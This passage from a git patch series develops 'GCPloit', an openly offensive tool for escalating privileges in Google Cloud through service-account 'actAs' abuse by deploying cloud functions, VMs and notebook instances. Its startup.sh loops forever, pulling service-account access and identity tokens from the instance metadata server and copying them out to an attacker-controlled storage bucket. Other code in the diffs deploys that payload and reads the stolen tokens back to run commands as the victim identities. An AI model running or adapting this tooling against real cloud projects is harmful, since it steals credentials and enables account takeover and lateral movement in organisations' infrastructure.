signal.SIGTERM) - base_cf.run_gcloud_command_local("gcloud config unset proxy/type") - base_cf.run_gcloud_command_local("gcloud config unset proxy/address") - base_cf.run_gcloud_command_local("gcloud config unset proxy/port") - base_cf.run_gcloud_command_local("gcloud config unset core/custom_ca_certs_file") + utils.run_gcloud_command_local("gcloud config unset proxy/type") + utils.run_gcloud_command_local("gcloud config unset proxy/address") + utils.run_gcloud_command_local("gcloud config unset proxy/port") + utils.run_gcloud_command_local("gcloud config unset core/custom_ca_certs_file") def run_cmd_on_source(name, cmd, project=None, bucket=None): @@ -162,10 +202,10 @@ def run_cmd_on_source(name, cmd, project=None, bucket=None): if project: cmd += " --project {}".format(project) source = db_session.query(models.CloudObject).filter_by(name=name).first() - source.refresh_cred(db_session, base_cf.run_gcloud_command_local, dataproc=dataproc, bucket_name=bucket) + source.refresh_cred(db_session, utils.run_gcloud_command_local, dataproc=dataproc, bucket_name=bucket) token = source.cred proxy_thread = activate_sketch_proxy(token) - result = base_cf.run_gcloud_command_local(cmd) + result = utils.run_gcloud_command_local(cmd) print(result) deactivate_sketch_proxy(proxy_thread) return result @@ -186,6 +226,7 @@ def main(): parser.add_argument('--exploit', dest='exploit', help='the name of the exploit you want to run on the given target, e.g. actAs all') parser.add_argument('--actAsMethod', default='cf', dest='actasmethod', + choices=['cf','vm','notebook'], help='what actAs vector you would like to use.') parser.add_argument('--bucket', dest='bucket', help='bucket for GCPloit credential storage.') @@ -198,7 +239,7 @@ def main(): elif args.gcloud_cmd: if not args.source: print("Running local gcloud command") - return_output = base_cf.run_gcloud_command_local(args.gcloud_cmd) + return_output = utils.run_gcloud_command_local(args.gcloud_cmd) print(return_output) else: return_output = run_cmd_on_source(args.source, args.gcloud_cmd, project=args.project, bucket=args.bucket) @@ -212,7 +253,8 @@ def main(): if args.bucket: print("MAKE SURE YOU GIVE ALL USERS *WRITE* ACCESS TO YOUR BUCKET WITH gsutil iam ch :objectCreator gs://{}".format(args.bucket)) - if args.actasmethod =="vm" and not args.bucket: + if (args.actasmethod == "notebook" or + args.actasmethod == "vm") and not args.bucket: print("What bucket do you want to store credentials into?") print("set --bucket ") print("Make sure your instance has write access to the bucket URL.") @@ -220,7 +262,7 @@ def main(): if args.target == "all": if not args.source: - service_accounts = base_cf.run_gcloud_command_local("gcloud iam service-accounts list --format json --project {}".format(args.project)) + service_accounts = utils.run_gcloud_command_local("gcloud iam service-accounts list --format json --project {}".format(args.project)) else: service_accounts = run_cmd_on_source(args.source, "gcloud iam service-accounts list --format json --project {}".format(args.project), bucket=args.bucket) for service_account in json.loads(service_accounts): @@ -228,6 +270,8 @@ def main(): new_object = deploy_cf(args.project, args.source, service_account["email"]) if args.actasmethod == "vm": new_object = deploy_vm(args.project, args.source, service_account["email"], args.bucket) + if args.actasmethod == "notebook": + new_object = deploy_notebook(args.project, args.source, service_account["email"], args.bucket) print("~~~~~~~Got New Identity~~~~~~~~") print(new_object) else: @@ -235,8 +279,13 @@ def main(): new_object = deploy_cf(args.project, args.source, args.target) if args.actasmethod == "vm": new_object = deploy_vm(args.project, args.source, args.target, args.bucket) - print("~~~~~~~Got New Identity~~~~~~~~") - print(new_object) + if args.actasmethod == "notebook": + new_object = deploy_notebook(args.project, args.source, args.target, args.bucket) + if new_object: + print("~~~~~~~Got New Identity~~~~~~~~") + print(new_object) + else: + print("Error while retrieving New Identity") elif exploit_cmd == "computeadmin": pass elif exploit_cmd == "dataproc": diff --git a/models.py b/models.py index e68e512..1d2eedb 100644 --- a/models.py +++ b/models.py @@ -62,7 +62,7 @@ def refresh_cred(self, db_session, run_local, dataproc=None, bucket_name=None): else: creator = db_session.query(CloudObject).filter_by(serviceAccount=self.creator_email).first() return dataproc(source_name=creator.name, project=self.project, refresh=self) - elif self.infastructure == "compute_instance": + elif self.infastructure == "compute_instance" or self.infrastructure == "notebook": # Pull credentials from GCS blob = self.client.bucket(bucket_name).blob(self.serviceAccount).download_to_filename("/tmp/gcploit_temporary_credentials") self.cred = open("/tmp/gcploit_temporary_credentials").read() From cb20ed9d7da940e521d9b7b416820432b2e6f157 Mon Sep 17 00:00:00 2001 From: Andy Gu Date: Sun, 20 Sep 2020 11:34:01 -0400 Subject: [PATCH 05/10] make warning bolder --- main.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/main.py b/main.py index ebd5ff0..db76c81 100644 --- a/main.py +++ b/main.py @@ -251,7 +251,9 @@ def main(): exploit_cmd = args.exploit if exploit_cmd == "actas": if args.bucket: - print("MAKE SURE YOU GIVE ALL USERS *WRITE* ACCESS TO YOUR BUCKET WITH gsutil iam ch :objectCreator gs://{}".format(args.bucket)) + print("*************************************************") + print("MAKE SURE YOU GIVE ALL USERS *WRITE* ACCESS TO YOUR BUCKET WITH gsutil iam ch :objectCreator gs://{}. OTHERWISE, YOUR SCRIPTS WONT BE ABLE TO PUSH CREDS TO YOU.".format(args.bucket)) + print("*************************************************") if (args.actasmethod == "notebook" or args.actasmethod == "vm") and not args.bucket: From 031b97ad6c3bf3d6dffc682ffb03242a51399ef2 Mon Sep 17 00:00:00 2001 From: Andy Gu Date: Mon, 21 Sep 2020 00:12:19 -0400 Subject: [PATCH 06/10] notebook instance --- .../__pycache__/main.cpython-38.pyc | Bin 0 -> 1241 bytes base_notebook_instance/main.py | 29 ++++++++++++++++++ 2 files changed, 29 insertions(+) create mode 100644 base_notebook_instance/__pycache__/main.cpython-38.pyc create mode 100644 base_notebook_instance/main.py diff --git a/base_notebook_instance/__pycache__/main.cpython-38.pyc b/base_notebook_instance/__pycache__/main.cpython-38.pyc new file mode 100644 index 0000000000000000000000000000000000000000..48c5f53ba4c2d3f28b2a85e9bf531116e571a84d GIT binary patch literal 1241 zcmZuwKX2SN6eo3(PIo?EFR@#sMhBtW4YJ(A$xt*wfdU-^G(pfn3qg^*vusgRN$LPQ z=Pd4CAVX$*>_;lsPW=KMI`vU^XShHpknjJ~@4ZL9+20={Sby3j`4A%Xmlqzc5ePrP zHXq^Oh~pX+8;T3u%Rv$JbWjX>8Wv$sqap$t)Ug~ELzxr__Hl!HB*(>A?iG8z9M%&# zDJH;2JpK(8`(nz67lHmDJ`>X$T+GBHF*|>JgMXhE2jbxN@D3H9|AL;PpV2Gy7Vx}A z^W<;9hF;DCH+&_2?S!#z*y&oeq5<8ge0ItOQ(W|{XgoW|F6wMm8wN$+uL!sV_K&d5 z0uGCAF~_&T8r|VLjJ-Tq54IfU0ayY)_!6!0+UvtRd>z`5hoA@k1|rs>Dc2#7E(Y4u z*i-NrdK*t(qjdlUj9y-SwPdyGc*<0>sFtY_Hf^;!7tE&buCM;tT1#PR+9)eZr7lcb zHOA7036nA{s1@LvW|}gQCq3zd1o>v8mnpjO-8}6l369`Qe+D% ztNJqSN{H#QZ%r=7X_Jm%vshdV>7^_ZP#Xo>8iEQm*%@Xe|Md4)yL)x za!DwFQz+v9&KZpB69F!4s1#RE-rp}@%)Rj5;S-HvOjk!s)}|}zTehkUlvy>)bU~|H z@So<9j={%0(Op9}eI!gtNgGalS85k8l$O-G!?rVLWQ&Zn^s-izyQtMwW9N~ZaJX4y z+XOf4B}3hGHwABMjoT|bb|EbB(A~&%j0wR7{{!jA0OQ}&{0$7qtty+B z)CjVhEZL>ZC9Rs{_R@X58Sq07Lc#q^=pCX7WH&Q7P%sO|!BH^9hd99@)`y^T2_Zfi zA@eWX*mNa;g^Occtf3J~x}Z`nHWq4Ky71hn#s$i_DGa8r%45BGS2}=Hdf@ZL9`UnN z?ca~~52x?){l9$mgt##wm28!^z{gVYt`;uz57XmWz Date: Mon, 21 Sep 2020 00:13:16 -0400 Subject: [PATCH 07/10] utils --- utils/startup.sh | 11 +++++++++++ utils/utils.py | 43 +++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 54 insertions(+) create mode 100644 utils/startup.sh create mode 100644 utils/utils.py diff --git a/utils/startup.sh b/utils/startup.sh new file mode 100644 index 0000000..0a3502c --- /dev/null +++ b/utils/startup.sh @@ -0,0 +1,11 @@ +#!/bin/bash +while true +do + email=`curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email` + curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token -o /tmp/$email + gsutil cp /tmp/$email gs://YOURBUCKETNAMEHERE + curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity?audience=32555940559.apps.googleusercontent.com -o /tmp/$email-identity + gsutil cp /tmp/$email-identity gs://YOURBUCKETNAMEHERE + rm /tmp/$email + sleep 60 +done diff --git a/utils/utils.py b/utils/utils.py new file mode 100644 index 0000000..ced234d --- /dev/null +++ b/utils/utils.py @@ -0,0 +1,43 @@ +import subprocess +import random +import string +import os + +def push_startup_payload(bucket_name): + # push via a startup script into a user-provided GCS bucket. Ask user to give access to the bucket first. + # Replace YOURBUCKETNAMEHERE with bucket_name + with open("./utils/startup.sh", "r") as file: + filedata = file.read() + filedata = filedata.replace("YOURBUCKETNAMEHERE", bucket_name) + with open("./utils/startup.sh", "w") as file: + file.write(filedata) + + run_gcloud_command_local("gsutil cp ./utils/startup.sh gs://{}".format(bucket_name), gsutil=True) + run_gcloud_command_local("gcloud services enable services.googleapis.com") + + +def run_gcloud_command_local(command, gsutil=False): + trigger = "gcloud" + if gsutil: + trigger = "gsutil" + + if command.split(" ")[0] != trigger: + command = trigger + " " + command + print("Running command:") + print(command) + try: + cmd_output = subprocess.check_output(command.split(" "), stderr=subprocess.STDOUT) + return cmd_output.decode("utf-8").rstrip() + except subprocess.CalledProcessError as E: + print("error code", E, E.output) + return False + + +def run_os_command_local(command): + return os.system(command) + + +def random_name(stringLength=8): + letters = string.ascii_lowercase + return ''.join(random.choice(letters) for i in range(stringLength)) + From 9366ca3f69b087b74c47bb1617317b0dfa6f46db Mon Sep 17 00:00:00 2001 From: Andy Gu Date: Mon, 5 Oct 2020 14:37:20 -0400 Subject: [PATCH 08/10] kill pyc --- .../__pycache__/main.cpython-38.pyc | Bin 1241 -> 0 bytes 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 base_notebook_instance/__pycache__/main.cpython-38.pyc diff --git a/base_notebook_instance/__pycache__/main.cpython-38.pyc b/base_notebook_instance/__pycache__/main.cpython-38.pyc deleted file mode 100644 index 48c5f53ba4c2d3f28b2a85e9bf531116e571a84d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1241 zcmZuwKX2SN6eo3(PIo?EFR@#sMhBtW4YJ(A$xt*wfdU-^G(pfn3qg^*vusgRN$LPQ z=Pd4CAVX$*>_;lsPW=KMI`vU^XShHpknjJ~@4ZL9+20={Sby3j`4A%Xmlqzc5ePrP zHXq^Oh~pX+8;T3u%Rv$JbWjX>8Wv$sqap$t)Ug~ELzxr__Hl!HB*(>A?iG8z9M%&# zDJH;2JpK(8`(nz67lHmDJ`>X$T+GBHF*|>JgMXhE2jbxN@D3H9|AL;PpV2Gy7Vx}A z^W<;9hF;DCH+&_2?S!#z*y&oeq5<8ge0ItOQ(W|{XgoW|F6wMm8wN$+uL!sV_K&d5 z0uGCAF~_&T8r|VLjJ-Tq54IfU0ayY)_!6!0+UvtRd>z`5hoA@k1|rs>Dc2#7E(Y4u z*i-NrdK*t(qjdlUj9y-SwPdyGc*<0>sFtY_Hf^;!7tE&buCM;tT1#PR+9)eZr7lcb zHOA7036nA{s1@LvW|}gQCq3zd1o>v8mnpjO-8}6l369`Qe+D% ztNJqSN{H#QZ%r=7X_Jm%vshdV>7^_ZP#Xo>8iEQm*%@Xe|Md4)yL)x za!DwFQz+v9&KZpB69F!4s1#RE-rp}@%)Rj5;S-HvOjk!s)}|}zTehkUlvy>)bU~|H z@So<9j={%0(Op9}eI!gtNgGalS85k8l$O-G!?rVLWQ&Zn^s-izyQtMwW9N~ZaJX4y z+XOf4B}3hGHwABMjoT|bb|EbB(A~&%j0wR7{{!jA0OQ}&{0$7qtty+B z)CjVhEZL>ZC9Rs{_R@X58Sq07Lc#q^=pCX7WH&Q7P%sO|!BH^9hd99@)`y^T2_Zfi zA@eWX*mNa;g^Occtf3J~x}Z`nHWq4Ky71hn#s$i_DGa8r%45BGS2}=Hdf@ZL9`UnN z?ca~~52x?){l9$mgt##wm28!^z{gVYt`;uz57XmWz Date: Mon, 5 Oct 2020 15:51:38 -0400 Subject: [PATCH 09/10] use alternative infastructure spelling --- models.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/models.py b/models.py index 1d2eedb..ca7abec 100644 --- a/models.py +++ b/models.py @@ -62,7 +62,7 @@ def refresh_cred(self, db_session, run_local, dataproc=None, bucket_name=None): else: creator = db_session.query(CloudObject).filter_by(serviceAccount=self.creator_email).first() return dataproc(source_name=creator.name, project=self.project, refresh=self) - elif self.infastructure == "compute_instance" or self.infrastructure == "notebook": + elif self.infastructure == "compute_instance" or self.infastructure == "notebook": # Pull credentials from GCS blob = self.client.bucket(bucket_name).blob(self.serviceAccount).download_to_filename("/tmp/gcploit_temporary_credentials") self.cred = open("/tmp/gcploit_temporary_credentials").read() From 2703cc00bee33e2775709567f8ac6a4584b4e12f Mon Sep 17 00:00:00 2001 From: Andy Gu Date: Sat, 10 Oct 2020 13:03:19 -0400 Subject: [PATCH 10/10] gcs client spec project --- main.py | 30 ++++++++++++++++-------------- models.py | 19 +++++++++---------- 2 files changed, 25 insertions(+), 24 deletions(-) diff --git a/main.py b/main.py index db76c81..df547cb 100644 --- a/main.py +++ b/main.py @@ -30,7 +30,7 @@ def list_objects(): print(cloud_object) -def deploy_cf(project, source=None, target=None, role="unknown"): +def deploy_cf(project, source=None, target=None, role="unknown", bucket=None, bucketproj=None): with open("./base_cloud_function/main.py") as f: latest_cf = f.read() utils.run_gcloud_command_local("gcloud config set project {}".format(project)) @@ -48,7 +48,7 @@ def deploy_cf(project, source=None, target=None, role="unknown"): creator_email = "" else: source = db_session.query(models.CloudObject).filter_by(name=source).first() - source.refresh_cred(db_session, utils.run_gcloud_command_local, dataproc=dataproc) + source.refresh_cred(db_session, utils.run_gcloud_command_local, dataproc=dataproc, bucket_name=bucket, bucket_proj=bucketproj) caller_identity = source.identity token = source.cred proc = activate_sketch_proxy(token) @@ -66,7 +66,7 @@ def deploy_cf(project, source=None, target=None, role="unknown"): return fun_cloud_function -def deploy_notebook(project, source=None, target=None, bucket=None, role="unknown"): +def deploy_notebook(project, source=None, target=None, bucket=None, role="unknown", bucketproj=None): # Create instance via notebook notebooks in default network # SSH commands via vm for lateral movementa # cron job pulls token every minute and pushes up @@ -86,7 +86,7 @@ def deploy_notebook(project, source=None, target=None, bucket=None, role="unknow creator_email = "" else: source = db_session.query(models.CloudObject).filter_by(name=source).first() - source.refresh_cred(db_session, utils.run_gcloud_command_local, dataproc=dataproc, bucket_name=bucket) + source.refresh_cred(db_session, utils.run_gcloud_command_local, dataproc=dataproc, bucket_name=bucket, bucket_proj=bucketproj) caller_identity = source.identity token = source.cred proc = activate_sketch_proxy(token) @@ -105,7 +105,7 @@ def deploy_notebook(project, source=None, target=None, bucket=None, role="unknow print("successfully privesced the {} identitiy".format(target)) return fun_notebook_instance -def deploy_vm(project, source=None, target=None, bucket=None, role="unknown"): +def deploy_vm(project, source=None, target=None, bucket=None, role="unknown", bucketproj=None): # Create instance in default network # SSH commands via vm for lateral movementa # cron job pulls token every minute and pushes up @@ -125,7 +125,7 @@ def deploy_vm(project, source=None, target=None, bucket=None, role="unknown"): creator_email = "" else: source = db_session.query(models.CloudObject).filter_by(name=source).first() - source.refresh_cred(db_session, utils.run_gcloud_command_local, dataproc=dataproc, bucket_name=bucket) + source.refresh_cred(db_session, utils.run_gcloud_command_local, dataproc=dataproc, bucket_name=bucket, bucket_proj=bucket_proj) caller_identity = source.identity token = source.cred proc = activate_sketch_proxy(token) @@ -194,7 +194,7 @@ def deactivate_sketch_proxy(proxy_proc): utils.run_gcloud_command_local("gcloud config unset core/custom_ca_certs_file") -def run_cmd_on_source(name, cmd, project=None, bucket=None): +def run_cmd_on_source(name, cmd, project=None, bucket=None, bucketproj=None): if cmd.startswith("gcloud"): cmd = cmd else: @@ -202,7 +202,7 @@ def run_cmd_on_source(name, cmd, project=None, bucket=None): if project: cmd += " --project {}".format(project) source = db_session.query(models.CloudObject).filter_by(name=name).first() - source.refresh_cred(db_session, utils.run_gcloud_command_local, dataproc=dataproc, bucket_name=bucket) + source.refresh_cred(db_session, utils.run_gcloud_command_local, dataproc=dataproc, bucket_name=bucket, bucket_proj=bucketproj) token = source.cred proxy_thread = activate_sketch_proxy(token) result = utils.run_gcloud_command_local(cmd) @@ -230,6 +230,8 @@ def main(): help='what actAs vector you would like to use.') parser.add_argument('--bucket', dest='bucket', help='bucket for GCPloit credential storage.') + parser.add_argument('--bucket_proj', dest='bucketproj', + help='project containing bucket for GCPloit credential storage.') args = parser.parse_args() @@ -242,7 +244,7 @@ def main(): return_output = utils.run_gcloud_command_local(args.gcloud_cmd) print(return_output) else: - return_output = run_cmd_on_source(args.source, args.gcloud_cmd, project=args.project, bucket=args.bucket) + return_output = run_cmd_on_source(args.source, args.gcloud_cmd, project=args.project, bucket=args.bucket, bucketproj=args.bucketproj) print(return_output) elif args.exploit: if not args.project: @@ -271,18 +273,18 @@ def main(): if args.actasmethod == "cf": new_object = deploy_cf(args.project, args.source, service_account["email"]) if args.actasmethod == "vm": - new_object = deploy_vm(args.project, args.source, service_account["email"], args.bucket) + new_object = deploy_vm(args.project, args.source, service_account["email"], args.bucket, args.bucketproj) if args.actasmethod == "notebook": - new_object = deploy_notebook(args.project, args.source, service_account["email"], args.bucket) + new_object = deploy_notebook(args.project, args.source, service_account["email"], args.bucket, args.bucketproj) print("~~~~~~~Got New Identity~~~~~~~~") print(new_object) else: if args.actasmethod == "cf": - new_object = deploy_cf(args.project, args.source, args.target) + new_object = deploy_cf(args.project, args.source, args.target, args.bucket, args.bucketproj) if args.actasmethod == "vm": - new_object = deploy_vm(args.project, args.source, args.target, args.bucket) + new_object = deploy_vm(args.project, args.source, args.target, args.bucket, args.bucketproj) if args.actasmethod == "notebook": - new_object = deploy_notebook(args.project, args.source, args.target, args.bucket) + new_object = deploy_notebook(args.project, args.source, args.target, args.bucket, args.bucketproj) if new_object: print("~~~~~~~Got New Identity~~~~~~~~") print(new_object) diff --git a/models.py b/models.py index ca7abec..bc85216 100644 --- a/models.py +++ b/models.py @@ -21,13 +21,11 @@ class CloudObject(Base): creator_email = Column(String) infastructure = Column(String) - client = storage.Client() - def __repr__(self): return "name='%s', role='%s', serviceAccount='%s', project='%s', password='%s'" % ( self.name, self.role, self.serviceAccount, self.project, self.evilPassword) - def refresh_cred(self, db_session, run_local, dataproc=None, bucket_name=None): + def refresh_cred(self, db_session, run_local, dataproc=None, bucket_name=None, bucket_proj=None): print(self.serviceAccount) print("refreshing cred") if self.infastructure == "cloud_function": @@ -52,10 +50,10 @@ def refresh_cred(self, db_session, run_local, dataproc=None, bucket_name=None): except urllib.error.HTTPError: print("refreshing parent") if self.creator_email: - self.creator_identity = db_session.query(CloudObject).filter_by(serviceAccount=self.creator_email).first().refresh_cred(db_session, run_local) + self.creator_identity = db_session.query(CloudObject).filter_by(serviceAccount=self.creator_email).first().refresh_cred(db_session, run_local, None, bucket_name, bucket_proj) else: self.creator_identity = run_local("gcloud auth print-identity-token") - return self.refresh_cred(db_session, run_local) + return self.refresh_cred(db_session, run_local, None, bucket_name, bucket_proj) elif self.infastructure == "dataproc": if not self.creator_email: dataproc(project=self.project, refresh=self) @@ -63,17 +61,18 @@ def refresh_cred(self, db_session, run_local, dataproc=None, bucket_name=None): creator = db_session.query(CloudObject).filter_by(serviceAccount=self.creator_email).first() return dataproc(source_name=creator.name, project=self.project, refresh=self) elif self.infastructure == "compute_instance" or self.infastructure == "notebook": - # Pull credentials from GCS - blob = self.client.bucket(bucket_name).blob(self.serviceAccount).download_to_filename("/tmp/gcploit_temporary_credentials") - self.cred = open("/tmp/gcploit_temporary_credentials").read() + # seed storage Client and pull credentials from GCS + client = storage.Client(project=bucket_proj) + blob = client.bucket(bucket_name).blob(self.serviceAccount).download_to_filename("/tmp/gcploit_temporary_credentials") + self.cred = open("/tmp/gcploit_temporary_credentials").read() self.cred = json.loads(self.cred)["access_token"] - blob = self.client.bucket(bucket_name).blob("{}-identity".format(self.serviceAccount)).download_to_filename("/tmp/gcploit_temporary_credentials") + blob = client.bucket(bucket_name).blob("{}-identity".format(self.serviceAccount)).download_to_filename("/tmp/gcploit_temporary_credentials") self.identity= open("/tmp/gcploit_temporary_credentials").read() if self.creator_email: - self.creator_identity = db_session.query(CloudObject).filter_by(serviceAccount=self.creator_email).first().refresh_cred(db_session, run_local) + self.creator_identity = db_session.query(CloudObject).filter_by(serviceAccount=self.creator_email).first().refresh_cred(db_session, run_local, None, bucket_name, bucket_proj) else: self.creator_identity = run_local("gcloud auth print-identity-token")